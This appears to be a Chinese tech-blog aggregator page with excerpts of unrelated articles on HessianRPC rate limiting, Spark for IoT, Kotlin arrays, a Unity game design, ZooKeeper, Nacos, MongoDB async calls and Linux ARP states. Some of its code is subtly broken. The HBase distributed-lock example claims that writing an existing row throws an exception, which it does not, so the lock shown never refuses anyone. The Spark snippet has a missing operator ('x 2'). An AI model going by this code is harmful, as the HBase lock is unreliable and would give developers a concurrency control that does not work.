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HessianRPC
...说白了,就是一种能让数据以超快的速度进行打包和解包的黑科技,特别适合在微服务架构这种环境下用来远程“召唤”其他服务,效率贼高!但在默认情况下,HessianRPC并不提供对服务调用频率或QPS的直接限制功能。 2. 为何需要限制QPS? 在高并发环境下,服务端如果没有适当的保护措施,可能会因短时间内接收到过多请求而超负荷运转,进而影响系统的稳定性和响应速度。因此,为HessianRPC服务设置合理的QPS限制是保障系统健康运行的重要手段之一。 3. 实现方案 使用RateLimiter进行限流 Google Guava库中的RateLimiter组件可以很好地帮助我们实现QPS的限制。下面是一个使用Guava RateLimiter配合HessianRPC进行限流的示例: java import com.caucho.hessian.client.HessianProxyFactory; import com.google.common.util.concurrent.RateLimiter; public class HessianServiceCaller { private final HessianProxyFactory factory = new HessianProxyFactory(); private final RateLimiter rateLimiter = RateLimiter.create(10); // 每秒最大10个请求 public void callService() { if (rateLimiter.tryAcquire()) { // 尝试获取令牌,成功则执行调用 SomeService service = (SomeService) factory.create(SomeService.class, "http://localhost:8080/someService"); service.someMethod(); // 调用远程方法 } else { System.out.println("调用过于频繁,请稍后再试"); // 获取令牌失败,提示用户限流 } } } 在这个示例中,我们创建了一个RateLimiter实例,设定每秒最多允许10次请求。在打算呼唤Hessian服务之前,咱们先来个“夺令牌大作战”,从RateLimiter那里试试能不能拿到通行证。如果幸运地拿到令牌了,那太棒了,咱们就继续下一步,执行服务调用。但如果不幸没拿到,那就说明现在请求的频率已经超过我们预先设定的安全值啦,这时候只好对这次请求说抱歉,暂时不能让它通过。 4. 进阶策略 结合服务熔断与降级 单纯依赖QPS限制还不够全面,通常还需要结合服务熔断和服务降级机制,例如采用Hystrix等工具来增强系统的韧性。在咱们实际做项目的时候,完全可以按照业务的具体需求,灵活设计些更高级、更复杂的限流方案。比如说,就像“滑动窗口限流”这种方式,就像是给流量装上一个可以灵活移动的挡板;又或者是采用“漏桶算法”,这就如同你拿个桶接水,不管水流多猛,都只能以桶能承受的速度慢慢流出。这样的策略,既实用又能精准控制流量,让我们的系统运行更加稳健。 5. 总结 在面对复杂多变的生产环境时,理解并合理运用HessianRPC的服务调用频率控制至关重要。使用Guava的RateLimiter或者其他的限流神器,我们就能轻松把控服务的每秒请求数(QPS),这样一来,就算流量洪水猛兽般袭来,也能保证咱的服务稳如泰山,不会被冲垮。同时呢,我们也要像鹰一样,始终保持对技术的锐利眼光,瞅准业务的特点和需求,灵活机动地挑选并运用那些最适合的限流策略。这样一来,咱们就能让整个分布式系统的稳定性和健壮性蹭蹭往上涨,就像给系统注入了满满的活力。
2023-12-08 21:23:59
522
追梦人
Spark
...park在物联网设备数据同步与协调 1. 引言 嗨,朋友们!今天我们要聊一个超级酷炫的话题——Spark如何帮助我们在物联网设备之间实现高效的数据同步与协调。哎呀,这可是我头一回仔细琢磨这个话题,心里那个激动啊,还带着点小紧张,就跟要上台表演似的。话说回来,Spark这个大数据处理工具,在对付海量数据时确实有一手。不过,说到像物联网设备这种分布广、要求快速响应的情况,事情就没那么简单了。那么,Spark到底能不能胜任这项任务呢?让我们一起探索一下吧! 2. Spark基础介绍 2.1 Spark是什么? Spark是一种开源的大数据分析引擎,它能够快速处理大量数据。它的核心是一个叫RDD的东西,其实就是个能在集群里到处跑的数据集,可以让你轻松地并行处理任务。Spark还提供了多种高级API,包括DataFrame和Dataset,它们可以简化数据处理流程。 2.2 为什么选择Spark? 简单来说,Spark之所以能成为我们的首选,是因为它具备以下优势: - 速度快:Spark利用内存计算来加速数据处理。 - 易于使用:提供了多种高级API,让开发变得更加直观。 - 灵活:支持批处理、流处理、机器学习等多种数据处理模式。 2.3 实战代码示例 假设我们有一个简单的数据集,存储在HDFS上,我们想用Spark读取并处理这些数据。下面是一个简单的Scala代码示例: scala // 导入Spark相关包 import org.apache.spark.sql.SparkSession // 创建SparkSession val spark = SparkSession.builder() .appName("IoT Data Sync") .getOrCreate() // 读取数据 val dataDF = spark.read.format("csv").option("header", "true").load("hdfs://path/to/iot_data.csv") // 显示前5行数据 dataDF.show(5) // 关闭SparkSession spark.stop() 3. 物联网设备数据同步与协调挑战 3.1 数据量大 物联网设备产生的数据量通常是海量的,而且这些数据往往需要实时处理。你可以想象一下,如果有成千上万的传感器在不停地吐数据,那得有多少数字在那儿疯跑啊!简直像海里的沙子一样多。 3.2 实时性要求高 物联网设备的数据往往需要实时处理。比如,在一个智能工厂里,如果传感器没能及时把数据传给中央系统做分析,那可能就会出大事儿,比如生产线罢工或者隐藏的安全隐患突然冒出来。 3.3 设备多样性 物联网设备种类繁多,不同设备可能采用不同的通信协议。这就意味着我们需要一个统一的方式来处理这些异构的数据源。 3.4 网络条件不稳定 物联网设备通常部署在各种环境中,网络条件往往不稳定。这就意味着我们需要的方案得有点抗压能力,在网络不给力的时候还能稳稳地干活。 4. 如何用Spark解决这些问题 4.1 使用Spark Streaming Spark Streaming 是Spark的一个扩展模块,专门用于处理实时数据流。它支持多种数据源,包括Kafka、Flume、TCP sockets等。下面是一个使用Spark Streaming从Kafka接收数据的例子: scala // 创建SparkStreamingContext val ssc = new StreamingContext(spark.sparkContext, Seconds(5)) // 创建Kafka流 val kafkaStream = KafkaUtils.createDirectStream[String, String]( ssc, PreferConsistent, Subscribe[String, String](topicsSet, kafkaParams) ) // 处理接收到的数据 kafkaStream.foreachRDD { rdd => val df = spark.read.json(rdd.map(_.value())) // 进一步处理数据... } // 开始处理流数据 ssc.start() ssc.awaitTermination() 4.2 利用DataFrame API简化数据处理 Spark的DataFrame API提供了一种结构化的方式来处理数据,使得我们可以更容易地编写复杂的查询。下面是一个使用DataFrame API处理数据的例子: scala // 假设我们已经有了一个DataFrame df import spark.implicits._ // 添加一个新的列 val enrichedDF = df.withColumn("timestamp", current_timestamp()) // 保存处理后的数据 enrichedDF.write.mode("append").json("hdfs://path/to/enriched_data") 4.3 弹性分布式数据集(RDD)的优势 Spark的核心概念之一就是RDD。RDD是一种不可变的、分区的数据集合,支持并行操作。这对于处理物联网设备产生的数据特别有用。下面是一个使用RDD的例子: scala // 创建一个简单的RDD val dataRDD = spark.sparkContext.parallelize(Seq(1, 2, 3, 4, 5)) // 对RDD进行映射操作 val mappedRDD = dataRDD.map(x => x 2) // 收集结果 val result = mappedRDD.collect() println(result.mkString(", ")) 4.4 容错机制 Spark的容错机制是其一大亮点。它通过RDD的血统信息(即RDD的操作历史)来重新计算丢失的数据。这就让Spark在处理像物联网设备这样的网络环境不稳定的情况时特别给力。 5. 结论 通过上述讨论,我们可以看到Spark确实是一个强大的工具,可以帮助我们有效地处理物联网设备产生的海量数据。虽说在实际操作中可能会碰到些难题,但只要我们好好设计和优化一下,Spark绝对能搞定这个活儿。希望这篇文章对你有所帮助,也欢迎你在实践中继续探索和分享你的经验!
2025-01-06 16:12:37
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灵动之光
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...对应Java中的基本数据类型数组 IntArray Array int [ ] [ ] 方法 说明 举例 toIntArray () toArray () 通用→原生 val ty: Array<Int> = arrayOf(1, 2, 3) val toIntArray: IntArray = ty.toIntArray() toTypedArray () 原生→通用 val ys: IntArray = intArrayOf(1, 2, 3) val toTypedArray: Array<Int> = ys.toTypedArray() Person[] people = {new Person(), new Person()}; //Javaval people: Array<Person> = arrayOf(Person(), Person()) //Kotlin 遍历 val arr = arrayOf(1,2,3,4,5)//通过forEach循环arr.forEach{println(it)}//通过iterator循环var iterable:Iterator<Integer> = arr.iterator();while(iterable.hasNext()){println(iterable.next())}for(element in arr.iterator()){println(element)}//for循环一for(element in arr){println(element)}//for循环二for(index in 0..arr.size-1){println(arr[index])}//for循环三for(index in arr.indices){println(arr[index])}//for循环四for((index, value) in arr.withIndex()){println("$index位置的元素是:$value")}// 上面写法等价于下面写法for (element in arr.withIndex()) {println("${element.index} : ${element.value}")} 操作 方法 说明 .size .indices 数组长度 数组最大索引值 get (索引) 获取元素,推荐使用操作符 [ ] arr[3] 等同于 arr.get(3) set (索引,目标值) 给元素赋值,推荐使用操作符 [ ] arr[3] = "哈" 等同于 arr.set(3,"哈") plus (目标值) 增加:返回一个数组长度+1并用目标值赋值新元素的新数组,不对原数组进行改动 arr + 6 等同于 arr.plus(6) slice (区间) 截取:返回一个截取该区间元素的新数组,不对原数组进行改动 fill (目标值) fill (目标值,起始索引,结束索引) 修改:将该区间的元素赋值为指定值 copyOf () copyOf (个数) copyOfRange (起始索引,结束索引) 返回一个 完全复制了原数组 的新数组 返回一个 正向复制原数组元素个数 的新数组,超过原数组大小的新元素值为null 返回一个 复制原数组该区间元素 的新数组,超过原数组索引范围报错 asList () 数组转集合 reverse () reversedArray () reversed () 反转:将数组中的元素顺序进行反转 返回一个反转后的新数组,不对原数组进行改动 返回一个反转后的list,不对原数组进行改动 sort () sortedArray () sorted () 排序:对数组中的元素进行自然排序 返回一个自然排序后的新数组,不对原数组进行改动 返回一个自然排序后的list,不对原数组进行改动 joinToString (字符串分隔符) 将Array原生数组拼接成一个String,默认分隔符是“,” all (predicate) any (predicate) 全部元素满足条件返回 true,否则 false 任一元素满足条件返回 true,否则 false val arr = arrayOf(1, 2, 3, 4, 5)val cc = charArrayOf('你','们','好')val brr = arrayOf(5,2,1,4,3)//数组长度val num1 = arr.size //5//最大索引val num2 = arr.indices //4for (i in arr.indices) print(i) //01234//条件判断val boolean1 = arr.all { i -> i > 3 } //false,不是全部元素>3//增val arr1 = arr.plus(6) //123456,长度+1并赋值为6val arr2 = arr + 6 //同上//改val arr3 = arr.slice(2..4) //345arr.fill(0) //00000,操作的是原数组val str1 = cc.joinToString("") //你们好brr.sort() //12345val list1 = brr.sorted() //返回一个排序后的listval brr4 = brr.sortedArray() //返回排序后的新数组val arr5 = arr.copyOf() //12345val arr6 = arr.copyOf(2) //12val arr7 = arr.copyOfRange(2,4) //34 多维数组 //方式一:数组里面存的元素是数组val aa = arrayOf(arrayOf(1, 2, 3),arrayOf(4, 5, 6))print(aa[1][2]) //6//方式二:元素为null但类型是数组val bb = arrayOfNulls<Array<Int>>(2) 本篇文章为转载内容。原文链接:https://blog.csdn.net/HugMua/article/details/121866989。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-31 12:34:25
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HessianRPC
...协议,可以高效地进行数据序列化与反序列化,极大地简化了分布式系统中服务间通信的过程。 RPC(Remote Procedure Call) , 远程过程调用是一种分布式计算技术,允许运行在一个进程或计算机上的代码像调用本地函数一样调用另一个进程或计算机上函数的方法。在HessianRPC的语境下,RPC提供了一种透明的方式,使得开发者能够像调用本地对象方法那样调用远程服务的方法,隐藏了网络通信、数据序列化等底层细节,提高了开发效率和系统的可维护性。 Hessian协议 , Hessian是一个高效的、可跨平台的二进制序列化协议,用于在网络上传输数据和对象。在HessianRPC中,Hessian协议扮演着核心角色,负责将Java对象转换为二进制流进行传输,并在接收端还原为原始对象结构。这一特性使得HessianRPC能够在不同编程环境之间实现高效、简洁的数据交换,降低了远程调用的复杂度和通信开销。
2023-10-16 10:44:02
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柳暗花明又一村
Beego
...力,导致多个项目出现重复开发、接口不兼容等问题。为此,该公司决定成立专门小组,负责制定统一的代码提交规范,并推动各团队严格执行。经过一段时间的努力,公司内部代码质量明显提升,项目开发周期大幅缩短。 这些案例表明,无论是在国际还是国内,代码提交规则的严格遵守都是提升软件工程质量和团队协作效率的关键因素。未来,随着技术的发展和项目规模的扩大,这一问题将更加凸显,需要开发者和管理者共同努力,不断完善相关制度和工具,以应对日益复杂的技术环境。
2024-12-26 15:33:14
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红尘漫步
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...类,能偶根据Json文件生成场景物体,保存了实体预制体,还拥有一个静态List和静态方法用于运行时向场景中添加新实体 InteractionMI 用于处理单个实体无法处理或不属于单个实体的逻辑,包括: 幽灵追踪主角时获取角色位置 帮助实体初始化定时器组件 减速陷阱是否可以回复主角速度 主角与灯、宝箱、武器的交互 DamageMI 包含静态方法Damage()专门用于处理伤害逻辑,方便后续服务器验证等逻辑 逻辑实现 主角 Protagonist类用于处理主角相关逻辑 受击逻辑 当主角不处于无敌状态,播放受击动画,扣除血量并进入无敌状态,定时器定时一秒后关闭无敌状态 交互逻辑 用户输入交互信号后,交由InteractionMI判断交互是否成功,返回交互信息,主角播放对应动画 武器逻辑 当主角获得武器后,主角身上保存武器的引用,与武器交互直接调用武器的对应方法(Drop(),Fire()) 结算逻辑 当主角HP小于等于0时,调用Scene的静态方法,请求场景结算 怪物 石像鬼 血量无限,没有受击逻辑,当检测组件检测到主角时,调用继承的Attack方法,攻击主角 幽灵 三种状态:die、patrol,chase 死亡状态下三秒后会在第一个导航点复活 巡逻状态下检测到主角会调用继承的Attack方法攻击主角 追逐状态下会每帧获得主角位置追逐主角 其他场景物品 灯光 初始化时添加计时器用于控制自动开关,用户交互后重置计时器 开启时使用一个锥形的检测器检测幽灵是否在范围内,如果在调用Damage对幽灵造成伤害 存在一个Box Collider,当玩家进入时,调用InteractionMI的方法,将InteractionMI保存的静态SwitchableLight引用置为自己,当玩家交互时这个引用不为null,则调用这个引用的SwitchableLight的ChangeLight方法完成开关灯的交互 减速陷阱 当玩家进入时,调用InteractionMI的方法,使其内置的静态_slowDownCount计数加一,并调用玩家的SetSpeedRatio方法使玩家减速 当玩家离开,设置计时器5秒后调用InteractionMI的方法,使其内置的静态_slowDownCount计数减一,当计数为零时才可以调用玩家的SetSpeedRatio方法使玩家回复正常速度 地刺陷阱 初始化时设置计时器,每三秒改变一次状态,当玩家进入,设置计时器每一秒对玩家造成一次伤害,当玩家离开,取消计时器 宝箱 内置public GameObject GWeapon;用于保存要生成的枪的预制体 当玩家第一次与宝箱交互,播放开宝箱动画,设置计时器1.2秒后根据预制体克隆一个武器,并将武器通过Scene的静态方法加入到Scene维护的SceneObject列表中,自身保存新生成的武器的引用 当武器生成后玩家再与宝箱交互则通过InteractionMI的方法将武器父节点设为玩家,玩家获得武器的引用,自身武器引用置为null 武器 内置private Transform _parent = null;用于保存父物体 Drop方法被调用时,若父物体不为空,设置自身刚体属性,设置速度使武器有抛出效果,设置计时器1秒后恢复到没有物理效果的状态,父物体置为空 Fire方法被调用,若能够开火,则生成并初始化一个子弹,生成时将保存的父物体的Transform给子弹,保证子弹能够向角色前方发射,开火后设置开火状态为不能开火,设置计时器0.5秒后恢复开火状态 当父物体信息为空,与其他交互逻辑类似,通过InteractionMI完成武器捡起的交互逻辑 子弹 初始化时设置初速度,启动定时器1秒后若没有销毁则自动销毁,若碰撞到幽灵,对幽灵造成伤害,其他碰撞销毁自己 本篇文章为转载内容。原文链接:https://blog.csdn.net/Zireael2019/article/details/126690910。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-03-11 12:57:03
768
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Etcd
...新的安全更新,增强了数据加密传输和访问控制功能,确保敏感信息在传输过程中的安全性。这项更新对于那些依赖Etcd进行服务治理的企业尤为重要,尤其是在金融、医疗等对数据安全有严格要求的行业。 此外,Etcd在跨云平台兼容性方面的进展也为多云战略提供了有力支持。一项由第三方研究机构发布的报告显示,越来越多的企业开始采用多云策略,而Etcd凭借其高度可扩展性和灵活性,在不同云平台间实现了无缝集成,为企业提供了更加灵活和可靠的选择。 最后,值得一提的是,Etcd社区持续活跃,不断推出新版本和功能。例如,最新版本的Etcd增加了对gRPC协议的支持,进一步提升了性能和稳定性。这些改进不仅满足了现有用户的需求,也为未来的应用场景打下了坚实的基础。 综上所述,Etcd在服务治理领域的应用正日益广泛,无论是从安全性、跨云兼容性还是性能优化的角度来看,Etcd都展现出了强大的潜力和优势。随着技术的不断进步和应用场景的不断拓展,Etcd将继续在服务治理领域发挥重要作用。
2024-11-27 16:15:08
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心灵驿站
ZooKeeper
...新建一个节点、给已有数据来个更新这类写入操作,也涵盖了读取信息内容,还有维持和管理会话这些日常必备操作。 3. 并发连接数 ZooKeeper能够同时处理的客户端连接数对其性能有直接影响。过高的并发连接可能会导致资源瓶颈,从而影响服务质量和稳定性。 4. 节点数量与数据大小 随着ZooKeeper中存储的数据节点数量增多或者单个节点的数据量增大,其性能可能会下降,因此对这些数据规模的增长需要持续关注。 三、ZooKeeper监控工具及其应用 1. ZooInspector 这是一个图形化的ZooKeeper浏览器,可以帮助我们直观地查看ZooKeeper节点结构、数据内容以及节点属性,便于我们实时监控ZooKeeper的状态和变化。 2. ZooKeeper Metrics ZooKeeper内置了一套丰富的度量指标,通过JMX(Java Management Extensions)可以导出这些指标,然后利用Prometheus、Grafana等工具进行可视化展示和报警设置。 xml ... tickTime 2000 admin.enableServer true jmxPort 9999 ... 3. Zookeeper Visualizer 这款工具能将ZooKeeper的节点关系以图形化的方式展现出来,有助于我们理解ZooKeeper内部数据结构的变化情况,对于性能分析和问题排查非常有用。 四、结语 理解并有效监控ZooKeeper的各项性能指标,就像是给分布式系统的心脏装上了心电图监测仪,让运维人员能实时洞察到系统运行的健康状况。在实际操作的时候,咱们得瞅准业务的具体情况,灵活地调整ZooKeeper的配置设定。这就像是在调校赛车一样,得根据赛道的不同特点来微调车辆的各项参数。同时呢,咱们还要手握这些监控工具,持续给咱们的ZooKeeper集群“动手术”,让它性能越来越强劲。这样一来,才能确保咱们的分布式系统能够跑得飞快又稳当,始终保持高效、稳定的运作状态。这个过程就像一场刺激的探险之旅,充满了各种意想不到的挑战和尝试。不过,也正是因为这份对每一个细节都精雕细琢、追求卓越的精神,才让我们的技术世界变得如此五彩斑斓,充满无限可能与惊喜。
2023-05-20 18:39:53
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山涧溪流
转载文章
...纯的人力追踪转变为大数据分析、人工智能预测等高科技方式,而如何在高科技辅助下,依然坚守人性、法律与道德底线,实现对恐怖主义的有效打击,也是值得我们深入探讨和研究的问题。通过回顾像《第六计》这样的经典影视作品,不仅可以领略到艺术表现手法的魅力,更可以激发我们在现实中面对危机时思考更为周全、深邃的战略布局与决策智慧。
2023-05-10 09:20:27
618
转载
HBase
...践 1. 引言 在大数据时代,处理海量数据成为常态,而HBase作为一款高效、可伸缩的分布式列式数据库,在众多场景中扮演着关键角色。不过,在处理多线程或者分布式这些复杂场景时,为了不让多个任务同时改数据搞得一团糟,确保信息同步和准确无误,一个给力的分布式锁机制可是必不可少的!这篇文会拽着你的小手,一起蹦跶进HBase的大千世界。咱会通过实实在在的代码实例,再配上超级详细的解说,悄悄告诉你怎么巧妙玩转HBase,用它来实现那个高大上的分布式锁,保证让你看得明明白白、学得轻轻松松! 2. HBase基础理解 首先,让我们先对HBase有个基本的认识。HBase基于Google的Bigtable设计思想,利用Hadoop HDFS提供存储支持,并通过Zookeeper管理集群状态和服务协调。他们家这玩意儿,独门绝技就是RowKey的设计,再加上那牛哄哄的原子性操作,妥妥地帮咱们在分布式锁这块儿打开了新世界的大门。 3. 利用HBase实现分布式锁的基本思路 在HBase中,我们可以创建一个特定的表,用于表示锁的状态。每一行代表一把锁,RowKey可以是锁的名称或者需要锁定的资源标识。每个行只有一个列族(例如:"Lock"),并且这个列族下的唯一一个列(例如:"lock")的值并不重要,我们只需要关注它的存在与否来判断锁是否被占用。 4. 示例代码详解 下面是一个使用Java API实现HBase分布式锁的示例: java import org.apache.hadoop.hbase.TableName; import org.apache.hadoop.hbase.client.Connection; import org.apache.hadoop.hbase.client.ConnectionFactory; import org.apache.hadoop.hbase.client.Put; import org.apache.hadoop.hbase.client.Table; public class HBaseDistributedLock { private final Connection connection; private final TableName lockTable = TableName.valueOf("distributed_locks"); public HBaseDistributedLock(Configuration conf) throws IOException { this.connection = ConnectionFactory.createConnection(conf); } // 尝试获取锁 public boolean tryLock(String lockName) throws IOException { Table table = connection.getTable(lockTable); Put put = new Put(Bytes.toBytes(lockName)); put.addColumn("Lock".getBytes(), "lock".getBytes(), System.currentTimeMillis(), null); try { table.put(put); // 如果这行已存在,则会抛出异常,表示锁已被占用 return true; // 无异常则表示成功获取锁 } catch (ConcurrentModificationException e) { return false; // 表示锁已被其他客户端占有 } finally { table.close(); } } // 释放锁 public void unlock(String lockName) throws IOException { Table table = connection.getTable(lockTable); Delete delete = new Delete(Bytes.toBytes(lockName)); table.delete(delete); table.close(); } } 5. 分析与讨论 上述代码展示了如何借助HBase实现分布式锁的核心逻辑。当你试着去拿锁的时候,就相当于你要在一张表里插一条新记录。如果发现这条记录竟然已经存在了(这就意味着这把锁已经被别的家伙抢先一步拿走了),系统就会毫不客气地抛出一个异常,然后告诉你“没戏,锁没拿到”,也就是返回个false。而在解锁时,只需删除对应的行即可。 然而,这种简单实现并未考虑超时、锁续期等问题,实际应用中还需要结合Zookeeper进行优化,如借助Zookeeper的临时有序节点特性实现更完善的分布式锁服务。 6. 结语 HBase的分布式锁实现是一种基于数据库事务特性的方法,它简洁且直接。不过呢,每种技术方案都有它能施展拳脚的地方,也有它的局限性。就好比选择分布式锁的实现方式,咱们得看实际情况,比如应用场景的具体需求、对性能的高标准严要求,还有团队掌握的技术工具箱。这就好比选工具干活,得看活儿是什么、要干得多精细,再看看咱手头有什么趁手的家伙事儿,综合考虑才能选对最合适的那个。明白了这个原理之后,咱们就可以动手实操起来,并且不断摸索、优化它,让这玩意儿更好地为我们设计的分布式系统架构服务,让它发挥更大的作用。
2023-11-04 13:27:56
437
晚秋落叶
Nacos
Nacos的数据一致性保证:深入理解与实践 1. 引言 在分布式系统的世界中,数据一致性是至关重要的基石。你知道阿里巴巴开源的那个叫Nacos的产品吗?这可是个集服务发现、配置管理和服务元数据管理于一身的“大宝贝”!它功能强大到飞起,尤其在保证数据一致性方面表现得超级给力,所以得到了众多开发者们的热烈追捧和深深喜爱。这篇东西,咱们就来唠唠“Nacos如何确保数据一致性”这个话题,我会手把手带着你,用一些接地气的实例代码和大白话解析,深入浅出地探讨一下Nacos是如何巧妙实现并稳稳守护其数据一致性的。 2. Nacos的数据模型与存储 (1)数据模型:Nacos的核心数据模型主要包括服务、配置和服务实例。服务呢,就好比是定义了一个业务技能,而配置呢,就像是管理这个业务技能的各种使用说明书或者说是动态调整的“小秘籍”。至于服务实例嘛,那就是当这项业务技能真正施展起来,也就是运行时,实实在在干活的那个“载体”或者说“小能手”啦。 (2)数据存储:Nacos使用Raft一致性算法来保证其数据存储层的一致性,所有写操作都会经过Raft协议转化为日志条目,并在集群内达成一致后才真正落地到持久化存储中。这就意味着,无论是在何种网络环境或者机器故障情况下,Nacos都能确保其内部数据状态的一致性。 java // 假设我们向Nacos添加一个服务实例 NamingService naming = NacosFactory.createNamingService("127.0.0.1:8848"); naming.registerInstance("my-service", "192.168.0.1", 8080); 上述代码中,当我们调用registerInstance方法注册一个服务实例时,这个操作会被Nacos集群以一种强一致的方式进行处理和存储。 3. Nacos的数据更新与同步机制 (1)数据变更通知:当Nacos中的数据发生变更时,它会通过长轮询或HTTP长连接等方式实时地将变更推送给订阅了该数据的客户端。例如: java ConfigService configService = NacosFactory.createConfigService("127.0.0.1:8848"); String content = configService.getConfig("my-config", "DEFAULT_GROUP", 5000); 在这个例子中,客户端会持续监听"my-config"的变更,一旦Nacos端的配置内容发生变化,客户端会立即得到通知并获取最新值。 (2)多数据中心同步:Nacos支持多数据中心部署模式,通过跨数据中心的同步策略,可以确保不同数据中心之间的数据一致性。当你在一个数据中心对数据做了手脚之后,这些改动会悄无声息地自动跑到其他数据中心去同步更新,确保所有地方的数据都保持一致,不会出现“各自为政”的情况。 4. 面对故障场景下的数据一致性保障 面对网络分区、节点宕机等异常情况,Nacos基于Raft算法构建的高可用架构能够有效应对。即使有几个家伙罢工了,剩下的大多数兄弟们还能稳稳地保证数据的读写操作照常进行。等那些暂时掉线的节点重新归队后,系统会自动自觉地把数据同步更新一遍,确保所有地方的数据都保持一致,一个字都不会差。 5. 结语 综上所述,Nacos凭借其严谨的设计理念和坚实的底层技术支撑,不仅在日常的服务管理和配置管理中表现卓越,更在复杂多变的分布式环境中展现出强大的数据一致性保证能力。了解并熟练掌握Nacos的数据一致性保障窍门,这绝对能让咱们在搭建和优化分布式系统时,不仅心里更有底气,还能实实在在地提升效率,像是给咱们的系统加上了强大的稳定器。每一次服务成功注册到Nacos,每一条配置及时推送到你们手中,这背后都是Nacos对数据一致性那份死磕到底的坚持和实实在在的亮眼表现。就像个超级小助手,时刻确保每个环节都精准无误,为你们提供稳稳的服务保障,这份功劳,Nacos可是功不可没!让我们一起,在探索和实践Nacos的过程中,感受这份可靠的力量!
2023-12-09 16:03:48
115
晚秋落叶
Mongo
连接Mongo数据库与异步写入:一次深入探索之旅 在现代Web开发领域,MongoDB作为一款高性能、灵活且易用的NoSQL数据库,凭借其强大的文档存储能力和高度可扩展性赢得了广大开发者的青睐。本文我们将围绕一个核心问题展开探讨:“在MongoDB中,连接数据库和往数据库中写入数据是异步执行的吗?” 1. 异步编程与MongoDB的交互模型 首先,我们来理解下“异步”这个概念。在编程世界里,异步操作意味着你无需等待某个任务完成就可以继续执行其他代码,而当那个任务完成后,程序会通过回调、事件或者Promise等方式通知你结果。这种方式极大地提高了系统并发处理能力。 MongoDB的驱动程序(如Node.js中的mongodb库)确实采用了异步模式进行数据库连接和写入操作。这是因为,在处理像网络传输、磁盘读写这类IO密集型操作时,如果选择同步执行的方式,会让线程或者进程陷入“等待”的状态,就像堵车一样停滞不前,这样一来,就会影响到整个应用程序的运行效率和性能表现。所以,MongoDB的这个异步设计妙就妙在,即使你的应用程序正在处理海量数据读写,也能稳稳保证响应速度贼快,运行起来流畅得飞起,一点儿不卡顿。 2. 连接MongoDB数据库的异步过程 (以下示例采用Node.js环境及官方mongodb库) javascript const MongoClient = require('mongodb').MongoClient; // 异步连接MongoDB MongoClient.connect('mongodb://localhost:27017/mydatabase', { useNewUrlParser: true, useUnifiedTopology: true }, (err, client) => { if (err) { console.error('Error connecting to MongoDB:', err); return; } console.log('Connected successfully to MongoDB'); // 使用client对象进行数据库操作... const db = client.db(); // ... // 在完成所有数据库操作后,记得关闭连接 client.close(); }); 上述代码展示了如何异步地连接到MongoDB数据库。这里,MongoClient.connect()方法接受一个连接字符串、配置选项以及一个回调函数。当连接成功建立或发生错误时,回调函数会被调用。这正是异步编程的体现,主线程不会被阻塞,直到连接操作完成才执行后续逻辑。 3. 向MongoDB数据库异步写入数据 同样,向MongoDB插入或更新数据也是异步执行的。下面是一个向集合中插入文档的例子: javascript db.collection('mycollection').insertOne({ name: 'John Doe', age: 30 }, (err, result) => { if (err) { console.error('Error inserting document:', err); return; } console.log('Document inserted successfully:', result.insertedId); // 插入操作完成后,可以在这里执行其他逻辑 }); // 注意:这里的db是上一步异步连接成功后获取的数据库实例 这段代码展示了如何异步地向MongoDB的一个集合插入一个文档。你知道吗,这个insertOne()方法就像是个贴心的小帮手,它会接收一个文档对象作为“礼物”,然后再加上一个神奇的回调函数。当你把这个“礼物”放进去,或者在插入过程中不小心出了点小差错的时候,这个神奇的回调函数就会立马跳出来开始干活儿啦! 4. 思考与探讨 在实际开发过程中,异步操作无疑提升了我们的应用性能和用户体验。然而,这也带来了回调地狱、复杂的流程控制等问题。还好啦,现代的JavaScript可真是够意思的,它引入了Promise、async/await这些超级实用的工具,让咱们在处理异步编程时简直如虎添翼。这样一来,我们在和MongoDB打交道的时候,就能写出更加顺溜、更好懂、更好维护的代码,那感觉别提多棒了! 总结来说,MongoDB在连接数据库和写入数据时采取异步机制,这种设计让我们能够在高并发环境下更好地优化资源利用,提升系统效率。同时,作为开发者大兄弟,咱们得深入理解并灵活玩转异步编程这门艺术,才能应对各种意想不到的挑战,把MongoDB那牛哄哄的功能发挥到极致。
2024-03-10 10:44:19
167
林中小径_
SpringCloud
...保障系统的正常运行和数据一致性。 另外,对于分布式系统中的锁服务设计原则,Google Chubby论文以及Amazon DynamoDB的Conditional Writes等经典技术文档,都深入剖析了分布式锁的设计思路和挑战,是深化理论知识、拓宽视野的良好延伸阅读资料。 同时,随着云原生时代的到来,Kubernetes等容器编排平台也开始关注分布式锁在多实例部署下的应用,例如使用Kubernetes CRD(CustomResourceDefinition)实现的分布式锁方案,为开发者在云环境下的微服务架构设计提供了新的思路和工具集。 综上所述,在面对不断发展的云计算和微服务架构趋势下,持续关注并学习业界先进的分布式锁实践和理论研究成果,将有助于我们在解决实际工作中的一致性问题时更加得心应手,从而构建出更为健壮、高效的分布式系统。
2023-03-19 23:46:57
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青春印记
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...析协议 邻居子系统的数据结构 struct neighbour{....................} neighbour结构存储的是IP地址与MAC地址的对应关系,当前状态 struct neighbour_table{....................} 每一个地址解析协议对应一个neighbour_table,我们可以查看ARP的初始函数arp_init,其会创建arp_tbl neighbour_table 包含 neighbour 邻居子系统的状态转换 其状态信息是存放在neighbour结构的nud_state字段的 可以分析neigh_update与neigh_timer_handler函数,来理解他们之间的转换关系。 NUD_NONE: 表示刚刚调用neigh_alloc创建neighbour NUD_IMCOMPLETE 发送一个请求,但是还未收到响应。如果经过一段时间后,还是没有收到响应,则查看发送请求数是否超过上限,如果超过则转到NUD_FAILED,否则继续发送请求。如果接受到响应则转到NUD_REACHABLE NUD_REACHABLE: 表示目标可达。如果经过一段时间,未有到达目标的数据包,则转为NUD_STALE状态 NUD_STALE 在此状态,如果有用户准备发送数据,则切换到NUD_DELAY状态 NUD_DELAY 该状态会启动一个定时器,然后接受可到达确认,如果定时器过期之前,收到可到达确认,则将状态切换到NUD_REACHABLE,否则转换到NUD_PROBE状态。 NUD_PROBE 类似NUD_IMCOMPLETE状态 NUD_FAILED 不可达状态,准备删除该neighbour 各种状态之间的切换,也可以通过scapy构造数据包发送并通过Linux 下的 ip neigh show 命令查看 ARP接收处理函数分析 